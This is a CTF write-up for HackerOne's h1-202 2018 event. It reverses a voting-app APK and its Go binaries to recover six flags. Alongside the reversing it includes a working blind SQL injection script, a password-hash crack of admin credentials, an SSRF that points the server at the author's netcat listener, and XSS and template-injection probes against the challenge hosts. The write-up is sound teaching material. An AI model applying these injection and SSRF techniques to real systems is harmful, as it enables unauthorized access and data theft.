H1 202 2018 / H1 202 CTF
February 22, 2018
Description
This is my second HackerOne CTF event and I have to say, I am quite impressed :)
h1-202 CTF was a series of 6 challenges meant to test your reversing and web exploitation skills.
Coming from a CTF background, I’m usually comfortable with these categories. Nevertheless, the authors of this CTF has managed to make something truly original and interesting.
Kudos to you guys, I’ve learned a lot.
Attachments
Challenge file : challenge.apk
The Challenge
This CTF consisted of reversing and web exploitation challenges.
All challenges refer to a single APK for an android application
called CandidateVote
. From this APK, we’ll be able to find all 6
flags.
Before getting into the solutions, I’ll go over the entire APK, explaining the key elements that will be needed to solve the various challenges.
Static Analysis
There are many different approaches one can take to solve this.
Because I don’t have a mobile device, I spent a couple of hours setting up an emulator so I can install/run the APK. In the end, analyzing the application dynamically does help, but isn’t necessary. I’ll mostly be covering the static approach.
The tools I’ll be using are the following :
To get started, we can setup an emulator in order to install the APK and have a quick overview of what kind of app we’re dealing with.
To do this, I used the command line tools that come with Android Studio
:
# Download the files for an API 25 build
$ sdkmanager "system-images;android-25;google_apis;x86_64"
# Create a device based on what we downloaded previously
$ avdmanager create avd -n x86_64_api_25 -k "system-images;android-25;google_apis;x86_64"
# Run the emulator
$ emulator @x86_64_api_25
# Install the APK
$ adb install ./challenge.apk
This will start our emulator and install a CandidateVote
app. Let’s run it :
So the app is some sort of voting system. It has two views :
- A main view which lists candidates that you can vote for;
- A registration view allowing us to create/login to an account.
Now that we know what we’re dealing with, let’s decompile the APK and take a look the source code of the challenge.
We’ll use jadx-gui
, which will give us a nice UI to work with :
$ jadx challenge.apk
INFO - output directory: challenge
INFO - loading ...
WARN - Unknown 'R' class, create references to 'com.hackerone.candidatevote.R'
[ ... A bunch of sketchy warning and error messages ... ]
ERROR - Method: org.bouncycastle.x509.PKIXCertPathReviewer.checkPolicy():void
ERROR - finished with errors
From jadx
, we can see the available packages as well
as the decompiled source code. What you see above is the source code of the
MainActivity
class, which is responsable for the main view of the application.
This class can be found in the com.hackerone.candidatevote
package.
All of the relevant classes for this CTF will be in that package.
Browsing through the classes in the com.hackerone.candidatevote
package,
we can find a lot of interesting information. These will be useful
for the most of the challenge. Here’s the notes I’ve gathered
during the event :
There are 7 aaa...
native functions throughout the package :
aa("91C6DD1299FD5D1DE9C4A0C78616D244");
aaaa("1E7746CB4B982418E917EDD07F6ACFFA");
aaaaaa("9D2A44020EA764B6AD790A9B1E894BFE");
aaaaaaaaa("DDC09B1C11F8675E0186310A6B36002D");
aaaaaaaaaa("A76CBBE4FA5619E360BF7DFC77D1D49E");
aaaaaaaaaaaa("44648798D358E60D7C4D29B5469CAEA8");
aaaaaaaaaaaaaa("5055DEAA9850A19FB67D4E76BC8FD825");
There seems to be an encryption function in the f
class :
// MainActivity.onCreate()
Log.d("TEST", "Helper for when I need to decrypt things: " + a(f.a("testing encryption", f.a(this))));
// f
public class f {
public static SecretKey a(Context context) {
return new SecretKeySpec(context.getString(R.string.title_for_the_current_time).getBytes(), "AES");
}
public static byte[] a(String str, SecretKey secretKey) {
Cipher instance;
GeneralSecurityException e;
byte[] bArr;
Exception e2;
try {
instance = Cipher.getInstance("AES/ECB/PKCS5Padding");
} catch (NoSuchAlgorithmException e3) {
// Exception handling
} catch (NoSuchPaddingException e4) {
// Exception handling
}
try {
instance.init(1, secretKey);
} catch (InvalidKeyException e5) {
e5.printStackTrace();
}
bArr = new byte[0];
try {
return instance.doFinal(str.getBytes("UTF-8"));
} catch (IllegalBlockSizeException e6) {
// Exception handling
} catch (BadPaddingException e7) {
// Exception handling
} catch (UnsupportedEncodingException e8) {
// Exception handling
}
}
}
There’s a reference to a client
and a client.jar
file :
// MainActivity.l()
public void l() {
if (this.q != null) {
CandidateClient.b().a(this.q, "client").a(new d<ad>(this) {
final /* synthetic */ MainActivity a;
{
this.a = r1;
}
public void a(b<ad> bVar, l<ad> lVar) {
File file = new File("client.jar");
try {
file.createNewFile();
j.a(file, new i[0]).a(((ad) lVar.b()).d());
} catch (IOException e) {
e.printStackTrace();
}
}
public void a(b<ad> bVar, Throwable th) {
}
});
}
}
There is an API available at api-h1-202.h1ctf.com
:
// CandidateClient.c()
private static m c() {
x a = new a().a(new g.a().a("api-h1-202.h1ctf.com", "sha256/2Bp6rERcJhrnVVc2OIbB/huXhOy6RFp/IMvk1AfBjvU=").a()).a();
aaaaaa("9D2A44020EA764B6AD790A9B1E894BFE");
return new m.a().a("https://api-h1-202.h1ctf.com/").a(c.a.a.a.a()).a(a).a();
}
There are two interfaces (d
and e
) which seem to contain the endpoint definitions for the API :
public interface d {
@k(a = {"X-API-AGENT: ANDROID"})
@f(a = "/candidates")
b<ArrayList<c>> a();
@k(a = {"X-API-AGENT: ANDROID"})
@o(a = "/user/login")
b<b> a(@a h hVar);
@p(a = "/vote/{id}")
@k(a = {"X-API-AGENT: ANDROID"})
b<a> a(@i(a = "X-API-TOKEN") String str, @s(a = "id") int i);
@k(a = {"X-API-AGENT: ANDROID"})
@o(a = "/candidates")
b<a> a(@i(a = "X-API-TOKEN") String str, @a c cVar);
@k(a = {"X-API-AGENT: ANDROID"})
@o(a = "/user/register")
b<b> b(@a h hVar);
}
public interface e {
@k(a = {"X-API-AGENT: ANDROID"})
@f(a = "/code")
b<ad> a(@i(a = "token") String str, @t(a = "app") String str2);
}
There is a hidden view called AddCandidate
which has an interesting native
function called getJs()
:
// AddCandidateActivity
private native String getJs();
public void k() {
this.n.post(new Runnable(this) {
final /* synthetic */ AddCandidateActivity a;
{
this.a = r1;
}
public void run() {
this.a.n.loadUrl("javascript:" + URLEncoder.encode(this.a.getJs()));
}
});
}
With all this information, we can start taking a look at the challenges.
Plaintext Flag
The first flag is directly in the app. Can you find it?
Here’s the solution :
$ strings challenge.apk | grep flag
##flag{easier_th4n_voting_for_4_pr3z}
first_flag
I don’t think this challenge needs an explanation.
In ur db? oh no!
That is a nice voting API server you got there. I bet you have a good DB too!
This challenge refers to a voting API. As we’ve noted earlier, there seems to be an API available here : https://api-h1-202.h1ctf.com/.
Also, we have a list of endpoints that we can test from the interfaces e
and
d
:
@k(a = {"X-API-AGENT: ANDROID"})
@f(a = "/candidates")
b<ArrayList<c>> a();
@k(a = {"X-API-AGENT: ANDROID"})
@o(a = "/candidates")
b<a> a(@i(a = "X-API-TOKEN") String str, @a c cVar);
// [...]
I have not reversed the various @
functions, but we can make assumptions as to what
they represent. Here we can safely assume that X-API-AGENT
is a mandatory header
and that X-API-TOKEN
is another header, but requires a user supplied value.
So what we have so far is this :
https://api-h1-202.h1ctf.com/candidates
https://api-h1-202.h1ctf.com/user/login
https://api-h1-202.h1ctf.com/vote/{id}
https://api-h1-202.h1ctf.com/user/register
https://api-h1-202.h1ctf.com/code
Based on the challenge title, one of these endpoints should have some sort of SQL/NoSQL injection.
Each endpoint has their own set of parameters and HTTP verbs. I won’t detail how each endpoint works though. After spending a couple of hours fuzzing these endpoints, you’ll realise none of them are injectable.
After some time, I remembered that this is a RESTFUL API… There are probably hidden verbs/paths that I haven’t considered yet…
Introducing https://api-h1-202.h1ctf.com/candidates/{id}
:
$ curl "https://api-h1-202.h1ctf.com/candidates/1" -H "X-API-AGENT: ANDROID"
{"error":"Under construction // TODO: return results from query"}
$ curl "https://api-h1-202.h1ctf.com/candidates/(1)" -H "X-API-AGENT: ANDROID"
{"error":"Under construction // TODO: return results from query"}
$ curl "https://api-h1-202.h1ctf.com/candidates/999" -H "X-API-AGENT: ANDROID"
{}
From the results we have above, we can confirm that a valid integer is used
when we get the Under construction
message. An invalid integer will
result in a {}
response.
Since wrapping an integer with ()
gives a positive result, this means that
we’re most likely not in the context of a quote (SELECT * FROM something
WHERE id = (1)
)
In order to figure out which DBMS we’re dealing with, we can simply inject
(SELECT 1 FROM [schema_table])
and test it against various meta tables.
In the end, we discover that the DBMS is SQLite :
$ curl "https://api-h1-202.h1ctf.com/candidates/(SELECT%201%20FROM%20information_schema.tables)" -H "X-API-AGENT: ANDROID"
{}
$ curl "https://api-h1-202.h1ctf.com/candidates/(SELECT%201%20FROM%20sqlite_master)" -H "X
-API-AGENT: ANDROID"
{"error":"Under construction // TODO: return results from query"}
Also, since we get a different response based on the validity of our supplied ID, we basically have a blind boolean based SQL injection. Here’s the structure that I’ll use for my injection :
(SELECT CASE
WHEN [condition]
THEN 1 # valid ID
ELSE 5 # invalid ID
END
from [table_name])
I like to do my SQL injections by hand when I know that I’ll be dealing with small data sets. SQLMap is noisy… So here is a python script which spits out the flag :
#!/usr/bin/env python2
import requests
import string
import binascii
HEADERS = { "X-API-AGENT" : "ANDROID" }
flag = ""
while True:
found = False
for c in "0123456789ABCDEF":
SQL = "(SELECT CASE WHEN hex(flag) LIKE '{}%25' THEN 1 ELSE 5 END from secret_flags WHERE flag LIKE '%25flag%25')"
payload = SQL.format(flag + c)
URL = "https://api-h1-202.h1ctf.com/candidates/{}".format(payload)
response = requests.get(URL, headers=HEADERS)
if "Under construction" in response.text:
found = True
flag += c
break
if not found:
print "FLAG : {}".format(binascii.unhexlify(flag))
exit()
$ python solution.py
FLAG : flag{uh_oh_you_sh0uldnt_be_seeing_this}
Go-ing down the rabbit hole
The admin forgot to remove the code update endpoint. I wonder what secrets they left in there?
Time to do some reversing!
Obtaining the code
This challenge references the /code
endpoint that we’ve mentionned briefly
in the previous challenge. Here’s a reminder :
public interface e {
@k(a = {"X-API-AGENT: ANDROID"})
@f(a = "/code")
b<ad> a(@i(a = "token") String str, @t(a = "app") String str2);
}
This endpoint takes a X-API-AGENT: ANDROID
header as well as what
seems to be an app
parameter.
$ curl https://api-h1-202.h1ctf.com/code -H "X-API-AGENT: ANDROID"
{"error":"Did not provide app query param"}
$ curl https://api-h1-202.h1ctf.com/code?app=test -H "X-API-AGENT: ANDROID"
{"error":"Could not find application"}
Based on the last error message above, we need to find a valid app
parameter
value. To figure this out, let’s go back to jadx-gui
and find references
to the e
interface.
In jadx-gui
, right click on the interface name and select Find Usage
. You
should see a list of all references to that interface.
So there’s a couple of references, all pointing to CandidateClient.b()
.
public static e b() {
return (e) c().a(e.class);
}
On its own, CandidateClient.b()
doesn’t give us much information. Let’s checkout the
references again, but this time for b()
.
This brings us back to the MainActivity
, at the function with the client.jar
string! From what we can see, the result of b()
calls the function a()
with a "client"
parameter. Let’s try that out for our app
param.
$ curl https://api-h1-202.h1ctf.com/code?app=client -H "X-API-AGENT: ANDROID" > client.jar
$ file client.jar
client.jar: Zip archive data, at least v2.0 to extract
Looks like it worked! Unzipping the jar…
$ unzip client.jar
Archive: client.jar
inflating: AndroidManifest.xml
inflating: proguard.txt
inflating: classes.jar
inflating: jni/armeabi-v7a/libgojni.so
inflating: jni/arm64-v8a/libgojni.so
inflating: jni/x86/libgojni.so
inflating: jni/x86_64/libgojni.so
inflating: R.txt
creating: res/
It seems like libgojni.so
is our challenge now. The classes.jar
file
contains a set of .java
files that we can decompile, but they pretty much
just call functions in the libgojni.so
file, so I’ll skip that part.
Obtaining the flag
The name libgojni.so
as well as the challenge name suggests that we’re dealing with
a go
binary.
While running strings
on the binary, I saw a couple of references to Pink Floyd’s
Dark Side of the Moon.
$ strings libgojni.so | grep -i dark
_cgoexp_3ab4b089901e_proxypinkfloyd__DarkSideOfTheMoon
proxypinkfloyd__DarkSideOfTheMoon
Java_pinkfloyd_Pinkfloyd_darkSideOfTheMoon
github.com/breadchris/huffman.DarkSideOfTheMoon
_cgoexp_3ab4b089901e_proxypinkfloyd__DarkSideOfTheMoon
_/var/folders/54/lgyh4cz510s464s3b3nt51g80000gq/T/gomobile-work-217367434/gomobile_bind._cgoexpwrap_3ab4b089901e_proxypinkfloyd__DarkSideOfTheMoon
_/var/folders/54/lgyh4cz510s464s3b3nt51g80000gq/T/gomobile-work-217367434/gomobile_bind.proxypinkfloyd__DarkSideOfTheMoon
github.com/breadchris/huffman.DarkSideOfTheMoon
_cgoexp_3ab4b089901e_proxypinkfloyd__DarkSideOfTheMoon
_/var/folders/54/lgyh4cz510s464s3b3nt51g80000gq/T/gomobile-work-217367434/gomobile_bind._cgoexpwrap_3ab4b089901e_proxypinkfloyd__DarkSideOfTheMoon
_/var/folders/54/lgyh4cz510s464s3b3nt51g80000gq/T/gomobile-work-217367434/gomobile_bind.proxypinkfloyd__DarkSideOfTheMoon
github.com/breadchris/huffman.DarkSideOfTheMoon
_/var/folders/54/lgyh4cz510s464s3b3nt51g80000gq/T/gomobile-work-217367434/gomobile_bind._cgoexpwrap_3ab4b089901e_proxypinkfloyd__DarkSideOfTheMoon
_/var/folders/54/lgyh4cz510s464s3b3nt51g80000gq/T/gomobile-work-217367434/gomobile_bind.proxypinkfloyd__DarkSideOfTheMoon
_cgoexp_3ab4b089901e_proxypinkfloyd__DarkSideOfTheMoon
proxypinkfloyd__DarkSideOfTheMoon
Java_pinkfloyd_Pinkfloyd_darkSideOfTheMoon
In go
binaries, most of the strings are actually function names. Analyzing
the results above, one of the function names stand out :
github.com/breadchris/huffman.DarkSideOfTheMoon
Let’s open that up in IDA
and take a look.
What you see above is an snippet of the huffman.DarkSideOfTheMoon()
function.
I didn’t bother looking at the code much, but I did notice a
github_com_breadchris_huffman_secreto.array
symbol at loc_A82B8
.
Following it in one of the IDA views leads us to discover a github_com_breadchris_huffman_keyo
just above it.
These two values are actually pointers to strings. Following both of these pointers lead us to a key…
… and what seems to be a cipher to decrypt.
Back to the DarkSideOfTheMoon()
function, one of the function calls
is github_com_breadchris_huffman_e()
. Inside, we can quickly recognize the
structure of a loop with an xor
operation in the middle : an xor cipher.
A quick python script can then solve this for us!
#!/usr/bin/env python2
from pwn import *
secret = "\x0d\x09\x18\x2c\x48\x15\x04\x5c\x12\x02\x00\x06\x1c\x0d\x18\x3f\x6c"
secret += "\x0e\x0e\x6c\x1e\x04\x11\x06\x03\x00\x0b\x39\x41\x0b\x19\x41\x0b\x16"
key = 'keyK3yk3ykeY'
print xor(secret, key)
$ python solution.py
flag{lookie_what_we_got_herrrrrrr}
Encrypted Flag
The title of this challenge refers to encryption. Based on what we’ve found,
there are two snippets of code that come to mind, the log and the f
class.
Starting with the log :
Log.d("TEST", "Helper for when I need to decrypt things: " + a(f.a("testing encryption", f.a(this))));
We can see three distinct function calls here :
f.a(this)
f.a("testing encryption", ???)
a(???)
Since we don’t see any ciphertext here, we can assume that these three functions somehow encrypt the “testing encryption” string.
Let’s take a look at the first function call.
f.a() with 1 parameter
public static SecretKey a(Context context) {
return new SecretKeySpec(context.getString(R.string.title_for_the_current_time).getBytes(), "AES");
}
From what we see here, if we give f.a()
only one parameter, it creates a
SecretKeySpec
for the AES
cipher using the resource title_for_the_current_time
.
Let’s check the value of that resource. To do this, we’ll use apktool
to
unpack the APK
and decode the resources.
$ apktool d challenge.apk
I: Using Apktool 2.3.1 on challenge.apk
I: Loading resource table...
I: Decoding AndroidManifest.xml with resources...
I: Loading resource table from file: /Users/Corb3nik/Library/apktool/framework/1.apk
I: Regular manifest package...
I: Decoding file-resources...
I: Decoding values */* XMLs...
I: Baksmaling classes.dex...
I: Copying assets and libs...
I: Copying unknown files...
I: Copying original files...
$ ls
challenge challenge.apk
$ cd challenge
$ grep -R "title_for_the_current_time" *
res/values/public.xml: <public type="string" name="title_for_the_current_time" id="0x7f0d0037" />
res/values/strings.xml: <string name="title_for_the_current_time">AAAAAAAAAAAAAAAA</string>
So it seems that our secret key is AAAAAAAAAAAAAAAA
.
f.a() with 2 parameters
Based on our previous finding, we basically have something like this :
f.a("testing encryption", "AAAAAAAAAAAAAAAA")
Taking a look at the source code for this function, here are the relevant parts :
public static byte[] a(String str, SecretKey secretKey) {
Cipher instance;
GeneralSecurityException e;
byte[] bArr;
// [...]
instance = Cipher.getInstance("AES/ECB/PKCS5Padding");
// [...]
instance.init(1, secretKey);
// [...]
bArr = new byte[0];
// [...]
return instance.doFinal(str.getBytes("UTF-8"));
// [...]
}
The code above creates an AES
Cipher
object using ECB
mode and
PKCS5
as padding. It then initializes it with our secret key from earlier
and encrypts a string with it (in this case “testing encryption”).
The a() function
Once the “testing encryption” string is encrypted, the ciphertext is sent to the
a()
function.
public static String a(byte[] bArr) {
char[] cArr = new char[(bArr.length * 2)];
for (int i = 0; i < bArr.length; i++) {
int i2 = bArr[i] & 255;
cArr[i * 2] = r[i2 >>> 4];
cArr[(i * 2) + 1] = r[i2 & 15];
}
return new String(cArr);
}
I won’t go much in depth on this one, but if you spend a couple of minutes reversing this, you’ll realise that it basically encodes a byte array as an uppercase hex string.
Obtaining the flag
So what we’ve discovered so far is a series of function allowing us to encrypt plaintext into an uppercase hex string. Since we have the key, we can re-implement and decrypt whatever we want. But what should we decrypt?
We’ve seen uppercase hex strings before…
aa("91C6DD1299FD5D1DE9C4A0C78616D244");
aaaa("1E7746CB4B982418E917EDD07F6ACFFA");
aaaaaa("9D2A44020EA764B6AD790A9B1E894BFE");
aaaaaaaaa("DDC09B1C11F8675E0186310A6B36002D");
aaaaaaaaaa("A76CBBE4FA5619E360BF7DFC77D1D49E");
aaaaaaaaaaaa("44648798D358E60D7C4D29B5469CAEA8");
aaaaaaaaaaaaaa("5055DEAA9850A19FB67D4E76BC8FD825");
Let’s try to decrypt those! I’ve re-implemented the decryption in Python.
#!/usr/bin/env python3
import sys
import base64
import binascii
from Crypto.Cipher import AES
block_size = 16
pad = lambda s: s + (block_size - len(s) % block_size) * chr(block_size - len(s) % BS)
decode = binascii.unhexlify
def unpad(s):
if ord(s[-1]) > 16:
return s
return s[:-ord(s[len(s)-1:])]
class AESCipher:
def __init__( self, key ):
self.key = key
def decrypt(self, enc):
cipher = AES.new(self.key, AES.MODE_ECB)
plaintext = cipher.decrypt(enc)
return unpad(plaintext)
cipher = AESCipher("AAAAAAAAAAAAAAAA") # R.title_for_the_current_time
flag = ""
flag += cipher.decrypt(decode("DDC09B1C11F8675E0186310A6B36002D"))
flag += cipher.decrypt(decode("9D2A44020EA764B6AD790A9B1E894BFE"))
flag += cipher.decrypt(decode("5055DEAA9850A19FB67D4E76BC8FD825"))
flag += cipher.decrypt(decode("91C6DD1299FD5D1DE9C4A0C78616D244"))
flag += cipher.decrypt(decode("44648798D358E60D7C4D29B5469CAEA8"))
flag += cipher.decrypt(decode("A76CBBE4FA5619E360BF7DFC77D1D49E"))
flag += cipher.decrypt(decode("1E7746CB4B982418E917EDD07F6ACFFA"))
print flag
You’ll have to play around with the order a bit, but in the end you should get something like this :
$ python solution.py
flag{w0w_i_see_u_can_do_decryption}electionAdmin:$apr1$Qk6pnugW$FxFFxsg8Ad0QVemp3sSSH.
Another flag! … and a hash?
Calling out Foul Play
Solving the previous challenge also gave us a set of credentials to use for which the password is hashed.
We can attempt to crack it with John :
$ echo 'electionAdmin:$apr1$Qk6pnugW$FxFFxsg8Ad0QVemp3sSSH.' > hash.txt
$ john hash.txt
Loaded 1 password hash (md5crypt, crypt(3) $1$ [MD5 128/128 SSSE3 20x])
Press 'q' or Ctrl-C to abort, almost any other key for status
pickles (electionAdmin)
1g 0:00:00:01 DONE 2/3 (2018-02-23 01:55) 0.9259g/s 7609p/s 7609c/s 7609C/s nathans..pickles
Use the "--show" option to display all of the cracked passwords reliably
Session completed
We now have the credentials electionAdmin / pickles
. But where do we use it?
In our initial notes, there was a GetJs()
native function inside the APK. That
function, just like the aaa...
functions, come from the libnative-lib.so
file.
As expected, by disassembling the it with IDA, we discover hardcoded JavaScript code :
To extract it, we can run strings libnative-lib.so
and copy the parts we want.
You’ll notice that the beginning of the Javascript snippet starts with an array of
base64-encoded strings.
var a=['aHR0cDovL2xvY2FsaG9zdDo5MDAxL2FkbWlu','c2V0UmVxdWVzdEhlYWRlcg==','QmFzaWMg','aWZvcmdvdDp0aGVwYXNzd29yZA==','c2VuZA==','YXBwbHk=','SUthTWQ=','YWV2QW0=','WUxBRnA=','U01rR2I=','Y29uc29sZQ==','Nnw1fDF8M3wyfDR8MHw4fDc=','b25pSE4=','c3BsaXQ=','ZXhjZXB0aW9u','d2Fybg==','aW5mbw==','ZGVidWc=','ZXJyb3I=','bG9n','dHJhY2U=','cmVzcG9uc2VUZXh0','aGFzT3duUHJvcGVydHk=','cHVzaA==','d1VkUnk=','am9pbg==','Z2V0TmFtZQ==','Z2V0VXJs','PGgxPkNhbmRpZGF0ZTwvaDE+PGgzPk5hbWU6IHt7IC5OYW1lIH19PC9oMz48aW1nIHNyYz0ie3sgLlVybCB9fSIgLz4=','YWRkRXZlbnRMaXN0ZW5lcg==','bG9hZA==','b3Blbg==','R0VU'];
Let’s decode them in a developer console :
> var a=['aHR0cDovL2xvY2FsaG9zdDo5MDAxL2FkbWlu','c2V0UmVxdWVzdEhlYWRlcg==','QmFzaWMg','aWZvcmdvdDp0aGVwYXNzd29yZA==','c2VuZA==','YXBwbHk=','SUthTWQ=','YWV2QW0=','WUxBRnA=','U01rR2I=','Y29uc29sZQ==','Nnw1fDF8M3wyfDR8MHw4fDc=','b25pSE4=','c3BsaXQ=','ZXhjZXB0aW9u','d2Fybg==','aW5mbw==','ZGVidWc=','ZXJyb3I=','bG9n','dHJhY2U=','cmVzcG9uc2VUZXh0','aGFzT3duUHJvcGVydHk=','cHVzaA==','d1VkUnk=','am9pbg==','Z2V0TmFtZQ==','Z2V0VXJs','PGgxPkNhbmRpZGF0ZTwvaDE+PGgzPk5hbWU6IHt7IC5OYW1lIH19PC9oMz48aW1nIHNyYz0ie3sgLlVybCB9fSIgLz4=','YWRkRXZlbnRMaXN0ZW5lcg==','bG9hZA==','b3Blbg==','R0VU'];
> a.map(atob)
Array [ "http://admin-h1-202.herokuapp.com/admin", "setRequestHeader", "Basic ", "iforgot:thepassword", "send", "apply", "IKaMd", "aevAm", "YLAFp", "SMkGb", … ]
The first item is a URL to a new domain! When visiting that domain at /admin
,
we are queried with a login prompt! We can use our electionAdmin : pickles
credentials here.
Once logged in, we’re given a series of error messages telling us which parameters we need to use on this endpoint :
$ curl http://admin-h1-202.herokuapp.com/admin
{"error":"Did not provide t query param"}
$ curl http://admin-h1-202.herokuapp.com/admin?t=one
{"error":"Did not provide name query param"}
$ curl http://admin-h1-202.herokuapp.com/admin?t=one&name=two
{"error":"Did not provide image query param"}
$ curl http://admin-h1-202.herokuapp.com/admin?t=one&name=two&image=three
{"error":"Looks like we can't get that image, try another one?"}
So the endpoint seems to be fetching an image from somewhere… Two implementations come to mind :
- The endpoint fetches an image in its filesystem;
- The endpoint fetches an image through a URL
Using a URL as an image, we obtain a new behavior from the endpoint :
$ curl http://admin-h1-202.herokuapp.com/admin?t=test123&name=two&image=http://google.com
test123
So I guess the URL worked?
Assuming the endpoint sends a request using the provided URL in the image
parameter, we can setup a netcat
listener on a VPS in order to inspect the
headers being sent from that request. Doing this sometimes allows us
to determine what backend is being used through headers such as the User-Agent
.
Our listener, after pointing the image
to our VPS
:
$ nc -lvp 80
Listening on [0.0.0.0] (family 0, port 80)
Connection from [54.196.99.208] port 80 [tcp/http] accepted (family 2, sport 43788)
GET / HTTP/1.1
Host: 159.203.173.168
User-Agent: Go-http-client/1.1
Challenge: Calling out Foul Play
Flag: flag{wow_look_at_u_with_ur_server_n_shit}
Accept-Encoding: gzip
Flag : flag{wow_look_at_u_with_ur_server_n_shit}
(So the server is using Go huh?)
/admin
This one was probably the hardest in this CTF and the most fun too! From what I heard during the event, a lot of people were stuck at this final challenge.
With a challenge name like /admin
, we can assume that we have to keep working
on the /admin
endpoint from the previous challenge. So far we’ve played around
with the image
parameter, but we haven’t used the name
or the t
parameter
yet.
$ curl http://admin-h1-202.herokuapp.com/admin?t=test123&name=two&image=http://google.com
test123
Since the t
parameter is being reflected in the response, we’ll start there.
I initially started by testing with a <script>alert(1)</script>
payload
in the parameter. It worked, no filtering whatsoever. I then attempted
with a single <script>
tag, which failed with the following response :
{"error":"Oops! Try again :)"}
Moving on, I noticed that HTML comments (<!-- -->
) whould just disappear
from the response!
$ curl http://admin-h1-202.herokuapp.com/admin?t=test%3C!--comment--%3E&name=two&image=http://google.com
test
So the application will somehow render our t
parameter, removing comments. This makes me
think of templates, which would make sense for a t parameter.
Let’s test this out :
$ curl http://admin-h1-202.herokuapp.com/admin?t={{%22test%22}}&name=two&image=http://google.com
test
7*7 won’t work for some reason, but “test” will. So what template engine is this?
Considering that the User-Agent
used for the last challenge is Go-http-client/1.1
,
it would make sense that we’re dealing with Go templating : https://golang.org/pkg/text/template/.
We can confirm this by testing one of the examples :
$ curl http://admin-h1-202.herokuapp.com/admin?t={{printf+%22%25q%22+(print+%22out%22+%22put%22)}}&name=two&image=http://google.com
"output"
So we have a Go template injection vulnerability. After reading online and manually fuzzing it, you’ll notice that the engine is pretty secure. We can’t obtain any kind RCE or file read with template injection alone.
So if a challenge author wanted to put a flag somewhere, it’ll probably be in some hidden variable or function which is passed as a parameter when rendering the template. Without the source code, solving this would require guessing…
So where’s the source code!? Remember our /code?app=client
endpoint? Maybe there’s
an ?app=server
…
$ curl https://api-h1-202.h1ctf.com/code?app=server -H "X-API-AGENT: ANDROID" > server
$ file server
server: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), statically linked, stripped
Noooo waaaaaaaaayyyyy! Time for some more reversing!
Learning Go Reversing and Obtaining the flag
The server
file is yet another Go binary. This time though, the binary
is stripped and has about 6000 unnamed functions.
I have no experience in Go reversing, so I spent a lot of time reading. This article was quite helpful : https://rednaga.io/2016/09/21/reversing_go_binaries_like_a_pro/
Go binaries are quite different than typical C/C++ binaries in that :
- Compiling a simple binary creates a ton of
runtime_
functions - All function names are stored as strings in one of the binaries’ segments. (Which means we can retrieve them even if the binary is stripped)
The author of the article above created an IDA python script that we can use to retrieve the functions names among other thing : https://github.com/strazzere/golang_loader_assist
The script was broken for me at a few places because of a recent change in
IDA’s API, so I spent some time patching it. Changes include renaming all
MakeStr()
to create_strlit
and idaapi.get_segm_name
to get_segm_name
.
Running the script in IDA gives us beautiful results :
Another particularity of Go binaries is that the call convention is stack based.
No arguments are stored in registers. The return values are also stored on the stack,
as opposed to rax
in typical binaries. I’m guessing this allows the Go language
to return multiple values in a single function call.
Lastly, depending on the type, passing objects as parameters implicity includes the length of said object. So for a function call like this :
result := os.Getenv("PORT")
The resulting compiled code looks more like this :
os_getenv("PORT", 4, &out, &out_len)
Here’s the corresponding disassembly :
While going through the available functions, you’ll notice a main_getFlag()
and a main_GetAdminPage()
function.
Looking into main_GetAdminPage()
, the first basic blocks already look
interesting.
For starters, the runtime_makemap
function creates a map
and stores
it in a variable which I’ve named some_map
.
It then calls runtime_map_assign_faststr(???, 0x8, &some_map, "___________", 0xb)
.
The return value of that function call seems to be a structure, in which
one of its members is being assigned some_function_pointer
.
You can see that below, where rax
is the return value of
runtime_map_assign_faststr
:
lea rcx, some_function_pointer
mov [rax+8], rcx
Now what function is that value pointing to?
The get_flag()
function! Since we’re talking about maps, I can only
assume we’re looking at something like this :
some_map["___________"] = &get_flag;
This looks a lot like the hidden function we were looking for. Let’s try it out :
Conclusion
I’ve had a lot of fun with this CTF. The challenges are quite original and I’ve learned a lot of about Go reversing and IDA’s API.
A huge thanks to the organizers, I’m looking forward to the next one.